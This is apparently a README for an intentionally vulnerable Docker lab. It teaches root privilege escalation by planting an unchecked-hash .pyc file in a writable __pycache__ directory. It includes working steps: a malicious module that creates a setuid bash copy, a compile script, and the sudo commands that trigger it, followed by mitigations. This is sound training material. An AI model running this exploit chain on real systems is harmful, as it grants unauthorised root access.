Python automatically compiles imported modules into bytecode (.pyc) files and stores them inside a __pycache__ directory.
When a Python script imports a module, Python loads .pyc files if they are present and considered valid for the interpreter version and invalidation mode..
Starting from PEP 552, Python introduced multiple bytecode invalidation modes. One of them is UNCHECKED_HASH, where Python does not verify whether the bytecode matches the source file at runtime.
If an attacker can:
- Write to a
__pycache__directory - Influence which module is imported
- Trigger execution of the Python program with elevated privileges
they can execute arbitrary bytecode as root.
sudopermission to execute a Python script as root- World-writable or attacker-writable
__pycache__directory - Knowledge of the Python version used (for correct
.pycnaming) - Ability to place a malicious
.pycfile
- Full root privilege escalation
- No kernel exploit required
- Works even if source code is later deleted or modified
- Difficult to detect via traditional monitoring
.pyc files are executable code, not harmless cache artifacts.
Insecure permissions turn Python’s performance feature into a privilege escalation vector.
This lab is intentionally vulnerable and designed for learning purposes.
docker build -t pycache-privesc-lab .docker run -it --rm pycache-privesc-labrootdollarboysushil(low-privileged user)
The user dollarboysushil can run a Python script as root using sudo.
sudo -lExpected output:
(root) NOPASSWD: /usr/bin/python3.12 /opt/pycache-lab/runner.py
Inspect the privileged script:
cat /opt/pycache-lab/runner.pyYou will see an imported module:
from helper_module import do_workls -la /opt/pycache-lab/__pycache__If writable, exploitation is possible.
import os
def do_work():
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")import py_compile
from py_compile import PycInvalidationMode
py_compile.compile(
"helper_module.py",
cfile="helper_module.cpython-312.pyc",
invalidation_mode=PycInvalidationMode.UNCHECKED_HASH
)
print("[+] Unchecked-hash pyc generated successfully")This snippet compiles a Python source file into bytecode (.pyc) in a way that tells Python:
“Trust this bytecode forever. Do not check whether the source file matches it.” That’s exactly what makes
__pycache__poisoning possible.
python3.12 compile_pyc.py
cp helper_module.cpython-312.pyc /opt/pycache-lab/__pycache__/sudo /usr/bin/python3.12 /opt/pycache-lab/runner.py/tmp/rootbash -p- Never allow
__pycache__directories to be writable by non-root users - Avoid running Python scripts with
sudo - Use
python -Bto disable bytecode generation - Enforce strict file permissions on application directories
- Monitor for unexpected
.pycfiles - Use virtual environments with controlled ownership
This vulnerability is a logic and configuration flaw, not a Python bug.
It highlights how small permission mistakes can completely undermine system security.
Author:
Sushil Poudel
Red Team / Offensive Security








